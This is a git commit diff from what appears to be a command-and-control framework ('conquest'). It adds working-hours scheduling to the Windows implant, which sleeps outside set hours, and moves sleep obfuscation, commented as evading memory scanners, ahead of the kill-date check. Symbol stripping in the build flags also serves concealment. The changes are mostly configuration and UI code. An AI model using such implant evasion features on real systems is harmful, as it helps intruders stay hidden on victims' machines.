Implemented agent working hours.

This commit is contained in:
Jakob Friedl
2025-10-28 23:02:48 +01:00
parent 7f89487fb7
commit 6ab3cbafa0
10 changed files with 230 additions and 28 deletions

View File

@@ -49,6 +49,7 @@ TBD
- Looting and loot management - Looting and loot management
- Logging of all operator activity - Logging of all operator activity
- Self-deletion - Self-deletion
- Agent kill date & working hours
## Screenshots ## Screenshots

View File

@@ -33,7 +33,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
sleepDelay: unpacker.getUint32(), sleepDelay: unpacker.getUint32(),
jitter: unpacker.getUint32(), jitter: unpacker.getUint32(),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()) spoofStack: cast[bool](unpacker.getUint8()),
workingHours: WorkingHours(
enabled: cast[bool](unpacker.getUint8()),
startHour: cast[int32](unpacker.getUint32()),
startMinute: cast[int32](unpacker.getUint32()),
endHour: cast[int32](unpacker.getUint32()),
endMinute: cast[int32](unpacker.getUint32())
)
), ),
killDate: cast[int64](unpacker.getUint64()), killDate: cast[int64](unpacker.getUint64()),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),

View File

@@ -574,20 +574,59 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
sleep(sleepDelay) sleep(sleepDelay)
print "[-] ", err.msg print "[-] ", err.msg
# Function to determine whether the agent currently operates within the configured working hours
proc withinWorkingHours(workingHours: WorkingHours): bool =
var time: SYSTEMTIME
GetLocalTime(addr time)
if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour:
return false
if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute:
return false
if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute:
return false
return true
# Sleep obfuscation implemented in various techniques # Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepSettings: SleepSettings) = proc sleepObfuscate*(sleepSettings: SleepSettings) =
if sleepSettings.sleepDelay == 0: if sleepSettings.sleepDelay == 0:
return return
# Initialize required API functions # Initialize required API functions
let apis = initApis() let apis = initApis()
# Calculate actual sleep delay with jitter # Calculate actual sleep delay with jitter
let let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
delay = int(rand(minDelay .. maxDelay) * 1000) var delay = int(rand(minDelay .. maxDelay) * 1000)
# Working hours
# https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650
# If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day.
if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours):
print "[*] Agent is outside of working hours."
delay = 0
# Get current time
var time: SYSTEMTIME
GetLocalTime(addr time)
let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute)
let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute
if minutesSinceMidnight < minutesUntilWorkday:
# We are on the same day as the start of the work day: calculate the difference between the two timestamps
delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000
else:
# Calculate minutes until midnight and add the minutes until the start of the workday
delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}" print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"

View File

@@ -15,8 +15,8 @@ proc main() =
#[ #[
Agent routine: Agent routine:
1. Check kill date 1. Sleep obfuscation
2. Sleep Obfuscation 2. Check kill date
3. Register to the team server if not already connected 3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint 4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result 5. Execute task and post result
@@ -25,14 +25,14 @@ proc main() =
]# ]#
while true: while true:
try: try:
# Check kill date and exit the agent process if it is already passed # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Check kill date and exit the agent process if it is reached
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate: if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)." print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting." print "[*] Exiting."
exit() exit()
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register # Register
if not ctx.registered: if not ctx.registered:

View File

@@ -3,7 +3,7 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="true" -d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -5,10 +5,10 @@ import ../../utils/[appImGui, colors]
type type
KillDateModalComponent* = ref object of RootObj KillDateModalComponent* = ref object of RootObj
killDateTime: ImPlotTime killDateTime: ImPlotTime
killDateLevel: cint killDateLevel: int32
killDateHour: cint killDateHour: int32
killDateMinute: cint killDateMinute: int32
killDateSecond: cint killDateSecond: int32
proc KillDateModal*(): KillDateModalComponent = proc KillDateModal*(): KillDateModalComponent =
result = new KillDateModalComponent result = new KillDateModalComponent
@@ -18,13 +18,13 @@ proc KillDateModal*(): KillDateModalComponent =
# Initialize to current date # Initialize to current date
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction # Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
let now = now() let now = now()
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
result.killDateHour = 0 result.killDateHour = 0
result.killDateMinute = 0 result.killDateMinute = 0
result.killDateSecond = 0 result.killDateSecond = 0
proc wrapValue(value: cint, max: cint): cint = proc wrapValue(value: int32, max: int32): int32 =
result = value mod max result = value mod max
if result < 0: if result < 0:
result += max result += max
@@ -35,7 +35,7 @@ proc resetModalValues*(component: KillDateModalComponent) =
# Initialize to current date # Initialize to current date
let now = now() let now = now()
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
component.killDateHour = 0 component.killDateHour = 0
component.killDateMinute = 0 component.killDateMinute = 0
@@ -101,12 +101,9 @@ proc draw*(component: KillDateModalComponent): int64 =
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
# OK and Cancel buttons if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
component.resetModalValues() component.resetModalValues()
igCloseCurrentPopup() igCloseCurrentPopup()

View File

@@ -0,0 +1,102 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/types
type
WorkingHoursModalComponent* = ref object of RootObj
workingHours: WorkingHours
proc WorkingHoursModal*(): WorkingHoursModalComponent =
result = new WorkingHoursModalComponent
result.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc resetModalValues*(component: WorkingHoursModalComponent) =
component.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc wrapValue(value: int32, max: int32): int32 =
result = value mod max
if result < 0:
result += max
proc draw*(component: WorkingHoursModalComponent): WorkingHours =
result = component.workingHours
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Working Hours", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
igText("Start: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igText("End: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24)
component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24)
component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60)
component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.workingHours.enabled = true
result = component.workingHours
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -1,10 +1,10 @@
import strutils, sequtils, times import strutils, strformat, sequtils, times
import imguin/[cimgui, glfw_opengl, simple] import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors] import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils] import ../../../common/[types, profile, utils]
import ../../../modules/manager import ../../../modules/manager
import ../widgets/[dualListSelection, textarea] import ../widgets/[dualListSelection, textarea]
import ./configureKillDate import ./[configureKillDate, configureWorkingHours]
export addItem export addItem
type type
@@ -16,11 +16,14 @@ type
spoofStack: bool spoofStack: bool
killDateEnabled: bool killDateEnabled: bool
killDate: int64 killDate: int64
workingHoursEnabled: bool
workingHours: WorkingHours
verbose: bool verbose: bool
sleepMaskTechniques: seq[string] sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module] moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget buildLog*: TextareaWidget
killDateModal*: KillDateModalComponent killDateModal*: KillDateModalComponent
workingHoursModal*: WorkingHoursModalComponent
proc AgentModal*(): AgentModalComponent = proc AgentModal*(): AgentModalComponent =
@@ -32,6 +35,14 @@ proc AgentModal*(): AgentModalComponent =
result.spoofStack = false result.spoofStack = false
result.killDateEnabled = false result.killDateEnabled = false
result.killDate = 0 result.killDate = 0
result.workingHoursEnabled = false
result.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
result.verbose = false result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
@@ -50,6 +61,7 @@ proc AgentModal*(): AgentModalComponent =
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
result.buildLog = Textarea(showTimestamps = false) result.buildLog = Textarea(showTimestamps = false)
result.killDateModal = KillDateModal() result.killDateModal = KillDateModal()
result.workingHoursModal = WorkingHoursModal()
proc resetModalValues*(component: AgentModalComponent) = proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0 component.listener = 0
@@ -59,6 +71,14 @@ proc resetModalValues*(component: AgentModalComponent) =
component.spoofStack = false component.spoofStack = false
component.killDateEnabled = false component.killDateEnabled = false
component.killDate = 0 component.killDate = 0
component.workingHoursEnabled = false
component.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
component.verbose = false component.verbose = false
component.moduleSelection.reset() component.moduleSelection.reset()
component.buildLog.clear() component.buildLog.clear()
@@ -136,10 +156,11 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSameLine(0.0f, textSpacing) igSameLine(0.0f, textSpacing)
igCheckbox("##InputKillDate", addr component.killDateEnabled) igCheckbox("##InputKillDate", addr component.killDateEnabled)
igSameLine(0.0f, textSpacing) igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.killDateEnabled) igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x) igSetNextItemWidth(availableSize.x)
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)): if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32) igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled() igEndDisabled()
@@ -147,6 +168,25 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
if killDate != 0: if killDate != 0:
component.killDate = killDate component.killDate = killDate
# Working hours
igText("Working Hours: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.workingHoursEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}"
if igButton(if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32)
igEndDisabled()
let workingHours = component.workingHoursModal.draw()
if workingHours.enabled:
component.workingHours = workingHours
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
igSeparator() igSeparator()
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
@@ -187,7 +227,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
sleepDelay: component.sleepDelay, sleepDelay: component.sleepDelay,
jitter: cast[uint32](component.jitter), jitter: cast[uint32](component.jitter),
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack spoofStack: component.spoofStack,
workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0)
), ),
verbose: component.verbose, verbose: component.verbose,
killDate: if component.killDateEnabled: component.killDate else: 0, killDate: if component.killDateEnabled: component.killDate else: 0,

View File

@@ -311,11 +311,19 @@ type
profile*: Profile profile*: Profile
client*: WsConnection client*: WsConnection
WorkingHours* = ref object
enabled*: bool
startHour*: int32
startMinute*: int32
endHour*: int32
endMinute*: int32
SleepSettings* = ref object SleepSettings* = ref object
sleepDelay*: uint32 sleepDelay*: uint32
jitter*: uint32 jitter*: uint32
sleepTechnique*: SleepObfuscationTechnique sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool spoofStack*: bool
workingHours*: WorkingHours
AgentCtx* = ref object AgentCtx* = ref object
agentId*: string agentId*: string

View File

@@ -23,6 +23,13 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.add(sleepSettings.jitter) packer.add(sleepSettings.jitter)
packer.add(uint8(sleepSettings.sleepTechnique)) packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack)) packer.add(uint8(sleepSettings.spoofStack))
# Working hours
packer.add(uint8(sleepSettings.workingHours.enabled))
packer.add(uint32(sleepSettings.workingHours.startHour))
packer.add(uint32(sleepSettings.workingHours.startMinute))
packer.add(uint32(sleepSettings.workingHours.endHour))
packer.add(uint32(sleepSettings.workingHours.endMinute))
# Kill date # Kill date
packer.add(uint64(killDate)) packer.add(uint64(killDate))